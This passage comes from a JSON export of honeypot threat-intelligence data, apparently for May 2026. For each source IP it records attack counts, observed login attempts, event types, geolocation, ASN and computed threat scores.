        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 342,
        "days_active_30d": 30,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T08:19:20.718000+00:00",
        "last_seen_30d": "2026-05-31T14:02:22.300000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 211,
        "Honeytrap": 92,
        "Cowrie": 14,
        "Ciscoasa": 11,
        "Miniprint": 8,
        "Dionaea": 4,
        "Adbhoney": 2
      }
    },
    "149.40.58.5": {
      "attack_count": 12,
      "first_seen": "2026-05-30T01:42:34.107Z",
      "last_seen": "2026-05-30T01:44:54.487Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T01:42:34.107000+00:00",
        "last_seen_30d": "2026-05-30T01:55:33.136000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "164.92.206.94": {
      "attack_count": 12,
      "first_seen": "2026-05-27T02:40:44.459Z",
      "last_seen": "2026-05-27T02:40:45.908Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 49.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.0,
        "persistence": 2.5,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 3,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-26T04:22:42+00:00",
        "last_seen_30d": "2026-05-28T17:35:42.614000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 19,
        "Cowrie": 12
      }
    },
    "205.185.125.209": {
      "attack_count": 12,
      "first_seen": "2026-05-12T11:53:29.858Z",
      "last_seen": "2026-05-29T01:00:18.822Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:53:29.858000+00:00",
        "last_seen_30d": "2026-05-29T01:01:19.396000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "222.140.184.141": {
      "attack_count": 12,
      "first_seen": "2026-05-06T11:16:52.215Z",
      "last_seen": "2026-05-06T11:18:09.583Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:16:52.215000+00:00",
        "last_seen_30d": "2026-05-06T11:19:19.354000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "218.78.63.123": {
      "attack_count": 11,
      "first_seen": "2026-05-15T05:10:56.800Z",
      "last_seen": "2026-05-15T05:22:48.513Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "master"
      ],
      "passwords_attempted": [
        "master"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:10:56.800000+00:00",
        "last_seen_30d": "2026-05-15T05:33:48.176000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 7
      }
    },
    "147.45.50.147": {
      "attack_count": 10,
      "first_seen": "2026-05-25T07:59:19.053Z",
      "last_seen": "2026-05-25T08:05:36.438Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-24T14:43:38.744000+00:00",
        "last_seen_30d": "2026-05-25T08:06:43.933000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 10,
        "Honeytrap": 1
      }
    },
    "180.190.189.159": {
      "attack_count": 10,
      "first_seen": "2026-05-19T02:16:21.037Z",
      "last_seen": "2026-05-19T02:55:10.813Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:16:21.037000+00:00",
        "last_seen_30d": "2026-05-19T02:56:17.141000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "181.35.49.112": {
      "attack_count": 10,
      "first_seen": "2026-05-20T08:45:32.638Z",
      "last_seen": "2026-05-20T11:14:43.650Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T08:45:32.638000+00:00",
        "last_seen_30d": "2026-05-20T11:15:45.620000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "65.49.20.68": {
      "attack_count": 10,
      "first_seen": "2026-05-11T01:36:06.463Z",
      "last_seen": "2026-05-31T06:55:59.153Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 97.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 550,
        "days_active_30d": 30,
        "ports_targeted_30d": 100,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T06:40:17+00:00",
        "last_seen_30d": "2026-05-31T14:35:56.752000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 326,
        "Honeytrap": 172,
        "Miniprint": 17,
        "H0neytr4p": 12,
        "Cowrie": 10,
        "Dionaea": 7,
        "CitrixHoneypot": 3,
        "Honeyaml": 2,
        "Ipphoney": 1
      }
    },
    "88.191.146.100": {
      "attack_count": 8,
      "first_seen": "2026-05-23T12:38:27.699Z",
      "last_seen": "2026-05-23T12:46:29.925Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Cr\u00e9teil",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T03:56:54.258000+00:00",
        "last_seen_30d": "2026-05-23T12:47:35.490000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "3.16.151.228": {
      "attack_count": 7,
      "first_seen": "2026-05-24T13:59:08.182Z",
      "last_seen": "2026-05-24T14:02:37.373Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 199,
        "days_active_30d": 1,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-24T13:25:25+00:00",
        "last_seen_30d": "2026-05-24T20:03:16.896000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 120,
        "Honeytrap": 71,
        "Cowrie": 7,
        "Dionaea": 1
      }
    },
    "151.236.7.230": {
      "attack_count": 6,
      "first_seen": "2026-05-28T20:24:43.955Z",
      "last_seen": "2026-05-28T20:24:50.223Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": "Vienna",
      "asn": 57169,
      "as_org": "EDIS GmbH",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T20:24:43.955000+00:00",
        "last_seen_30d": "2026-05-28T20:25:53.651000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "186.17.65.132": {
      "attack_count": 6,
      "first_seen": "2026-05-23T00:20:36.876Z",
      "last_seen": "2026-05-23T00:24:39.259Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:20:36.876000+00:00",
        "last_seen_30d": "2026-05-23T00:35:18.794000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "192.42.116.98": {
      "attack_count": 6,
      "first_seen": "2026-05-05T08:29:46.780Z",
      "last_seen": "2026-05-05T08:29:52.569Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "nil"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 56.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 22.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 27,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T08:29:46.780000+00:00",
        "last_seen_30d": "2026-05-31T11:13:54.106000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "45.91.64.6": {
      "attack_count": 6,
      "first_seen": "2026-05-02T04:13:20.509Z",
      "last_seen": "2026-05-26T05:39:07.237Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 214664,
      "as_org": "JSC Buduschee",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 313,
        "days_active_30d": 30,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T04:03:09+00:00",
        "last_seen_30d": "2026-05-31T13:04:59.653000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 224,
        "Honeytrap": 32,
        "Redishoneypot": 18,
        "Dionaea": 11,
        "ElasticPot": 10,
        "Cowrie": 6,
        "Tanner": 5,
        "Honeyaml": 4,
        "H0neytr4p": 3
      }
    },
    "66.132.172.192": {
      "attack_count": 6,
      "first_seen": "2026-05-11T17:37:35.760Z",
      "last_seen": "2026-05-11T17:38:18.488Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 29,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T07:07:36+00:00",
        "last_seen_30d": "2026-05-31T15:23:16.408000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 144,
        "Honeytrap": 66,
        "ElasticPot": 12,
        "Cowrie": 6,
        "Tanner": 3,
        "ConPot": 2
      }
    },
    "104.152.52.206": {
      "attack_count": 4,
      "first_seen": "2026-05-29T04:44:41.833Z",
      "last_seen": "2026-05-29T04:44:42.196Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 8.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 10,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-20T04:13:06.465000+00:00",
        "last_seen_30d": "2026-05-29T04:45:49.681000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "122.199.107.20": {
      "attack_count": 4,
      "first_seen": "2026-05-21T10:53:55.851Z",
      "last_seen": "2026-05-28T09:25:50.726Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 9981,
      "as_org": "Saero Network Service LTD",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T10:53:55.851000+00:00",
        "last_seen_30d": "2026-05-28T09:26:56.290000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "181.19.90.95": {
      "attack_count": 4,
      "first_seen": "2026-05-20T17:26:10.050Z",
      "last_seen": "2026-05-20T17:38:06.070Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T17:26:10.050000+00:00",
        "last_seen_30d": "2026-05-20T17:39:09.888000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "187.187.207.134": {
      "attack_count": 4,
      "first_seen": "2026-05-21T22:00:56.625Z",
      "last_seen": "2026-05-21T22:03:07.470Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Pachuca",
      "asn": 28534,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:00:56.625000+00:00",
        "last_seen_30d": "2026-05-21T22:04:17.465000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "37.238.87.24": {
      "attack_count": 4,
      "first_seen": "2026-05-22T23:08:48.908Z",
      "last_seen": "2026-05-22T23:12:49.687Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 203214,
      "as_org": "Hulum Almustakbal Company for Communication Engineering and Services Ltd",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:08:48.908000+00:00",
        "last_seen_30d": "2026-05-22T23:23:34.155000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.62.156.68": {
      "attack_count": 4,
      "first_seen": "2026-05-19T14:55:34.140Z",
      "last_seen": "2026-05-19T14:55:38.140Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 63.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.3,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 22,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T06:09:41+00:00",
        "last_seen_30d": "2026-05-29T13:45:16.541000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "65.49.1.180": {
      "attack_count": 4,
      "first_seen": "2026-05-14T19:12:12.773Z",
      "last_seen": "2026-05-14T19:12:16.798Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 77.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 30,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T03:07:57.588000+00:00",
        "last_seen_30d": "2026-05-31T05:55:37.091000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 8,
        "Cowrie": 4
      }
    },
    "65.49.1.60": {
      "attack_count": 4,
      "first_seen": "2026-05-31T13:06:53.454Z",
      "last_seen": "2026-05-31T13:06:57.462Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 60.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.0,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 21,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:35:24.959000+00:00",
        "last_seen_30d": "2026-05-31T13:08:02.687000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4
      }
    },
    "66.132.195.33": {
      "attack_count": 4,
      "first_seen": "2026-05-23T14:31:44.282Z",
      "last_seen": "2026-05-23T14:32:02.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 30,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T02:41:57+00:00",
        "last_seen_30d": "2026-05-31T16:15:27.682000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 64,
        "Cowrie": 4,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "66.132.195.52": {
      "attack_count": 4,
      "first_seen": "2026-05-21T00:35:55.140Z",
      "last_seen": "2026-05-21T00:36:10.376Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
